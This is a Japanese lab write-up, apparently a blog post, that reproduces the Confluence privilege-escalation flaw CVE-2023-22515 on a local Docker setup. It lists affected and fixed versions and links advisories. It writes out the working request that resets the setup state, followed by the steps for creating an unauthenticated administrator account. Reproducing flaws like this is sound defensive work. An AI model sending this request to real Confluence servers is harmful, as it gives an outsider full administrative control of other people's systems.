脆弱性検証（CVE-2023-22515）

## 脆弱性概要
Confluence Data Center および Confluence Server におけるアクセス制御破損の脆弱性
悪用された場合、リモートの攻撃者から未認証の管理者アカウントを作成され、Confluence インスタンスにアクセスされる可能性がある

## 影響を受けるバージョン
Confluence Data Center および Confluence Server
- 8.0.0 〜 8.0.4
- 8.1.0 〜 8.1.4
- 8.2.0 〜 8.2.3
- 8.3.0 〜 8.3.2
- 8.4.0 〜 8.4.2
- 8.5.0 〜 8.5.1

8.0.0 より前のバージョンはこの脆弱性の影響を受けない

## 修正バージョン
Confluence Data Center および Confluence Server
- 8.3.3
- 8.4.3
- 8.5.2

## PoC
https://github.com/Chocapikk/CVE-2023-22515

## 脆弱性の詳細
ユーザは Confluence の初期デプロイ時、/set にアクセスして管理者アカウントを作成するセットアッププロセスを実行する。
プロセス実行完了後のアクセスは、セットアップ完了メッセージの表示画面またはログイン画面などにリダイレクトされる。

アクセス制御破損の脆弱性により、/server-info.action を介して、セットアップ状態を未完了に設定し、管理者アカウントを作成するセットアッププロセスを再度実行される可能性がある。

ServerInfoAction クラスは ConfluenceActionSupport クラスを継承しているため、そのクラスのメソッドにアクセスできる。ConfluenceActionSupport クラスの BootstrapStatusProvider メソッドは、セットアップ状態を設定する setupComplete パラメータを構成している ApplicationConfiguration オブジェクトにアクセスできる。
攻撃者はこの脆弱性を悪用して 
/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスすることでセットアップ状態を未完了に変更し、認証なしで管理者アカウントを作成することができる。

## 検証環境
- Confluence Server 8.3.2
- PostgreSQL 15.5

## 環境構築
Docker イメージから Confluence Server を起動（検証用のネットワーク vrfy を指定）
```
docker run --name "confluence-server-8.3.2" -d -p 8090:8090 -p 8091:8091 --network "vrfy" atlassian/confluence-server:8.3.2
```

Docker イメージから PostgreSQL を起動（検証用のネットワーク vrfy を指定）
```
docker run --name "postgres-15.5" -d -e POSTGRES_PASSWORD=password -p 5432:5432 --network "vrfy" postgres:15.5
```

PostgreSQL に接続してユーザ、データベースを作成
```
docker exec -it postgres-15.5 psql -U postgres
psql (15.5 (Debian 15.5-1.pgdg120+1))
Type "help" for help.

postgres=# 
```
```
postgres=# CREATE USER test_user WITH PASSWORD 'test_pass';
CREATE ROLE
```
```
postgres=# CREATE DATABASE test_db1 OWNER test_user;
CREATE DATABASE
```

ブラウザから http://localhost:8090 にアクセスして Confluence をセットアップ

![Screenshot_001.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/addfa385-40e2-4e31-0be2-72ec8609da93.png)

![Screenshot_002.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/40070e64-a796-c76a-ed38-1798063f9b26.png)

## 脆弱性検証
http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false にアクセスしてセットアップ状態を未完了に変更

![Screenshot_003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/9d3a2db0-20be-3a67-6937-84d0f620f3cd.png)

http://localhost:8090/setup/setupadministrator-start.action にアクセスして管理者アカウント情報を入力
![Screenshot_004.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/553d8082-d11a-b854-11b5-686d04abf6ef.png)

![Screenshot_005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/bd918f3a-5a2e-d85b-f7a3-cb72b53904c3.png)

作成した管理者アカウントで Confluence インスタンスにアクセス

![Screenshot_006.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/d98f7ee6-4ddf-e901-4009-d1be8028fd64.png)

脆弱性修正バージョンでは http://localhost:8090/login.action?os_destination=%2Fserver-info.action&permissionViolation=true にリダイレクトされる

![Screenshot_007.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3659973/a4c7bb39-eae2-0918-c82f-f8f1bdda26dd.png)

## 参考
https://ja.confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html

https://blog.qualys.com/vulnerabilities-threat-research/2023/11/15/atlassian-confluence-broken-access-control-vulnerability-cve-2023-22515